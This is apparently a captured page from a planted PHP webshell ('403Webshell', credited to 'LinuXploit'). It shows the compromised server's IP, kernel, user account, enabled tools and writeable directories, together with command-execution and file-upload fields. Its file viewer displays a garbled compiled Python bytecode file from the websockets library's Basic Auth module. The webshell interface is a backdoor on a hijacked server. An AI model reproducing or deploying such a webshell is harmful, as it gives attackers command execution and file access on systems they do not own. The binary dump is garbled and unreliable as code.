403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/websockets/legacy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/websockets/legacy/__pycache__/auth.cpython-311.pyc
�

�=XcM����ddlmZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZmZdd	lmZmZd
dgZeeefZdd�ZGd�d
e��Z				ddd�ZdS)�)�annotationsN)�Any�	Awaitable�Callable�Iterable�Optional�Tuple�Union�cast�)�Headers)�
InvalidHeader)�build_www_authenticate_basic�parse_authorization_basic�)�HTTPResponse�WebSocketServerProtocol� BasicAuthWebSocketServerProtocol�basic_auth_protocol_factory�valuer�return�boolc��	|\}}t|t��ot|t��S#ttf$rYdSwxYw�NF)�
isinstance�str�	TypeError�
ValueError)r�username�passwords   �8/usr/lib/python3/dist-packages/websockets/legacy/auth.py�is_credentialsr"s\��G�"���(��(�C�(�(�F�Z��#�-F�-F�F��
�z�"�����u�u����s�1�A�Ac�b��eZdZUdZdZded<	dZded<	ddd�d�fd�Zdd�Zd�fd�Z	�xZ
S)rzC
    WebSocket server protocol that enforces HTTP Basic Auth.

    �r�realmN�
Optional[str]r�r%�check_credentials�argsrr(�/Optional[Callable[[str, str], Awaitable[bool]]]�kwargsr�Nonec�Z��|�||_||_t��j|i|��dS�N)r%�_check_credentials�super�__init__)�selfr%r(r)r+�	__class__s     �r!r1z)BasicAuthWebSocketServerProtocol.__init__-s<������D�J�"3��������$�)�&�)�)�)�)�)�r rc��PK�|j�|�||���d{V��SdS)a�
        Check whether credentials are authorized.

        This coroutine may be overridden in a subclass, for example to
        authenticate against a database or an external service.

        Args:
            username: HTTP Basic Auth username.
            password: HTTP Basic Auth password.

        Returns:
            bool: :obj:`True` if the handshake should continue;
            :obj:`False` if it should fail with a HTTP 401 error.

        NF)r/)r2rr s   r!r(z2BasicAuthWebSocketServerProtocol.check_credentials9s>���� �"�.��0�0��8�D�D�D�D�D�D�D�D�D��ur4�path�request_headersr
�Optional[HTTPResponse]c���K�	|d}n9#t$r,tjjdt	|j��fgdfcYSwxYw	t
|��\}}n9#t$r,tjjdt	|j��fgdfcYSwxYw|�||���d{V��s)tjjdt	|j��fgdfS||_	t���||���d{V��S)zR
        Check HTTP Basic Auth and return a HTTP 401 response if needed.

        �
AuthorizationzWWW-AuthenticatesMissing credentials
sUnsupported credentials
NsInvalid credentials
)�KeyError�http�
HTTPStatus�UNAUTHORIZEDrr%rrr(rr0�process_request)r2r6r7�
authorizationrr r3s      �r!r?z0BasicAuthWebSocketServerProtocol.process_requestNs]�����	�+�O�<�M�M���	�	�	���,�$�&B�4�:�&N�&N�O�P�(��
�
�
�	����	�!:�=�!I�!I��H�h�h���	�	�	���,�$�&B�4�:�&N�&N�O�P�,��
�
�
�	�����+�+�H�h�?�?�?�?�?�?�?�?�	���,�$�&B�4�:�&N�&N�O�P�(��
�!��
��W�W�,�,�T�?�C�C�C�C�C�C�C�C�Cs!��3A�A�A�3B�B)
r)rr%r&r(r*r+rrr,�rrr rrr)r6rr7r
rr8)�__name__�
__module__�__qualname__�__doc__r%�__annotations__rr1r(r?�
__classcell__)r3s@r!rrs�����������
�E�O�O�O�O��#�H�"�"�"�"�-�
 $�MQ�	
*�
*�
*�
*�
*�
*�
*�
*�����*$D�$D�$D�$D�$D�$D�$D�$D�$D�$Dr4r%r&�credentials�3Optional[Union[Credentials, Iterable[Credentials]]]r(r*�create_protocol�;Optional[Callable[[Any], BasicAuthWebSocketServerProtocol]]�1Callable[[Any], BasicAuthWebSocketServerProtocol]c���|du|dukrtd���|��t|��rtt|��g}nbt	|t
��r;t
|��}td�|D����std|�����ntd|�����t|���d�fd
�}|�-tttgtft��}tj
|||���S)
aI
    Protocol factory that enforces HTTP Basic Auth.

    :func:`basic_auth_protocol_factory` is designed to integrate with
    :func:`~websockets.server.serve` like this::

        websockets.serve(
            ...,
            create_protocol=websockets.basic_auth_protocol_factory(
                realm="my dev server",
                credentials=("hello", "iloveyou"),
            )
        )

    Args:
        realm: indicates the scope of protection. It should contain only ASCII
            characters because the encoding of non-ASCII characters is
            undefined. Refer to section 2.2 of :rfc:`7235` for details.
        credentials: defines hard coded authorized credentials. It can be a
            ``(username, password)`` pair or a list of such pairs.
        check_credentials: defines a coroutine that verifies credentials.
            This coroutine receives ``username`` and ``password`` arguments
            and returns a :class:`bool`. One of ``credentials`` or
            ``check_credentials`` must be provided but not both.
        create_protocol: factory that creates the protocol. By default, this
            is :class:`BasicAuthWebSocketServerProtocol`. It can be replaced
            by a subclass.
    Raises:
        TypeError: if the ``credentials`` or ``check_credentials`` argument is
            wrong.

    Nz/provide either credentials or check_credentialsc3�4K�|]}t|��V��dSr.)r")�.0�items  r!�	<genexpr>z.basic_auth_protocol_factory.<locals>.<genexpr>�s*����I�I��~�d�+�+�I�I�I�I�I�Ir4zinvalid credentials argument: rrr rrc��h�K�	�|}n#t$rYdSwxYwtj||��Sr)r;�hmac�compare_digest)rr �expected_password�credentials_dicts   �r!r(z6basic_auth_protocol_factory.<locals>.check_credentials�sP�����
�$4�X�$>�!�!���
�
�
��u�u�
�����&�'8�(�C�C�Cs��
�r'rA)rr"r�Credentialsrr�list�all�dictrrr�	functools�partial)r%rHr(rJ�credentials_listrVs     @r!rrusR���L	�t��!2�d�!:�;�;��I�J�J�J����+�&�&�	L� $�[�+� >� >�?���
��X�
.�
.�	L�#�K�0�0���I�I�8H�I�I�I�I�I�
P�� N�� N� N�O�O�O�
P��J�[�J�J�K�K�K�� 0�1�1��	D�	D�	D�	D�	D�	D�����c�U�<�<�=�,�
�
��
����+����r4)rrrr)NNNN)
r%r&rHrIr(r*rJrKrrL)�
__future__rr[rSr<�typingrrrrrr	r
r�datastructuresr
�
exceptionsr�headersrr�serverrr�__all__rrWr"rr�r4r!�<module>rfsk��"�"�"�"�"�"�������������S�S�S�S�S�S�S�S�S�S�S�S�S�S�S�S�S�S�S�S�$�$�$�$�$�$�&�&�&�&�&�&�M�M�M�M�M�M�M�M�9�9�9�9�9�9�9�9�.�/L�
M���C��H�o��G�G�G�G�VD�VD�VD�VD�VD�'>�VD�VD�VD�t �GK�IM�SW�	G�G�G�G�G�G�Gr4

Youez - 2016 - github.com/yon3zu
LinuXploit